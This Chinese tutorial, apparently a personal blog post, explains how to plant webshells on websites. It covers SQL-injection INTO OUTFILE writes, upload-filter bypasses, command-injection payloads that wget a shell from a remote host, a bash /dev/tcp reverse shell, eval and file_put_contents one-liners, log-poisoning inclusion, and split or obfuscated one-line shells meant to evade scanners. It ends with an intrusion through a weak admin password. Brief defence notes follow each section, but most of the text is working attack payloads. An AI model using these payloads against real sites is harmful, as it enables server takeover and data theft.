我们为什么要入侵一个网站
我觉得以我现在的水平无法回答这个问题。
但是我客观的认为,入侵一个网站最根本的原因是想拿到我们想要的数据,
不管我们是站在的立场是什么。
什么是webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
1.webshell用于网站管理,服务器管理根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令
2.另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。
我们如何成功的上传一个webshell
- SQL注入(mysql,oracle,mssql,具有file权限)获取webshell
1.连接当前Mysql数据库的账户,具有File_priv权限
2.知道网站的绝对路径(通过php报错信息,load_file,google搜索报错信息,phpinfo.php)
3.mysql有权限到网站的目录下写文件
4.而且单引号不能被转义
5.可以通过爆出敏感信息,登录后台(配合网站后台功能实现上传webshell)
利用load_file('/etc/passwd')读取文件
index.php?id=1 union select 1,2,3,'' into
outfile '/var/www/html/phpinfo.php'
防御:
1.数据库连接账号不使用root权限
2.php报错功能关闭
3.mysql账户没有权限向网站目录下写文件
4.过滤单引号
- 上传漏洞获取webshell
1.利用网站编辑器(editor)存在版本漏洞
2.网站编辑的上传功能
测试上传,
1.本地绕过(文件类型,MIME,文件内容)
2.截断上传,/xx.php%00jsp,实现上传木马
3.上传.htaccess目录,控制解析的脚本。(利用jpg后缀的解析php文件)
4.绕过黑名单。
3.利用解析漏洞(查看web服务器,类型,版本)工具firebug,burp等。
有apache,nginx,IIS,php-cgi
防御:
1.使用服务端验证
2.检测文件类容
3.文件类容加载,和二次渲染。
- 任意命令执行
条件:
知道网站的绝对路径,apache对网站目录有写文件的权限
其实任意命令执行漏洞,就相当于webshell
1.直接读写文件(写一句话木马)
index.php?command=echo "" > /var/www/
html/phpinfo.php
index.php?command=wget -O /var/www/html/phpinfo.php
http://xxxx/phpinfo.txt
2.反弹shell到本地
1.bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(linux环境下)
执行远程Samba里面的二进制文件
2.在windows7环境以下,
\\10.0.0.1\shell.exe
windows8环境以后powershell
Powershell经常通过注册表,开始菜单,或者计划任务来实现自启动的目的,通常用sysinternals的autorun就能找到了。
另外C:\Users\\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1可以达到和
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1一样的效果。
防御:
过滤单个特殊符号,使用escapeshellarg和addslashes函数过滤。
- 任意代码执行
条件:apache对网站有可写权限,执行代码获取网站目录
1.index.php?code=file_put_contents($_POST[f], $_POST[d]);
f=phpinfo.php&d=
如果apache没有对网站目录有写权限
index.php?code=eval($_POST[1]);直接写入一句话。
- 任意文件包含
1.利用include和require函数包含上传的文件或是图片。
2.包含日志文件,getshell
1.先读取/etc配置文件获取日志文件的路径
2.然后使用curl请求服务,在请求后面写入一句话木马
3.或是利用burp抓包,改包,将php代码插入到get请求中,或是user-agent中。
3.远程包含一个有木马的txt文件
防御:
过滤.(点)/(斜杠)\(反斜杠)
使用open_basedir配置限制访问限制指定区域。
- 网站后台自带的功能
1.数据库备份功能,数据库恢复功能
2.文件管理
3.可以控制上传功能
** 如何查杀webshell**
静态查杀特征:
1.特殊敏感字符eval,file_put_contents(),include()。等等函数
2.phpinfo,system,php_uname,chmod,fopen,flclose,readfile,edoced_46esab常见的特征
3.利用编码
@$_POST[0]($_POST[1])
@eval($_POST[1])
来实现免查杀
4.使用调回函数callback
(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>
cmd={${phpinfo()}}
5.利用include函数在脚本文件中加载一个
include_path = “E:\PHPnow-1.5.6\htdocs;”
这个配置信息表示加载页眉页脚的文集位置,path规则是”\path1;\path2″,表示将path1路径的
文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个‘.’表示根路径,
这里就相当于添加到了主页上面去了,然后hehe.asp文件里面写上一句话,
就可以通过php添加页眉的共能,将一句话写入网站首页。
6.拆分法(asp)
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
还有拆分法加强版:
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
实例
找到网站后台,弱密码登录。
利用网站特有功能,创建文件夹,和文件上传功能。
然后上传一个php文件发现不允许上传。
![]J$8C4.png](http://upload-images.jianshu.io/upload_images/2495234-2a1a151552b6d3fe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
通过本地抓包,修改文件后缀。
成功上传php代码。
不幸的是,他有waf,现在的水平只能望而兴叹。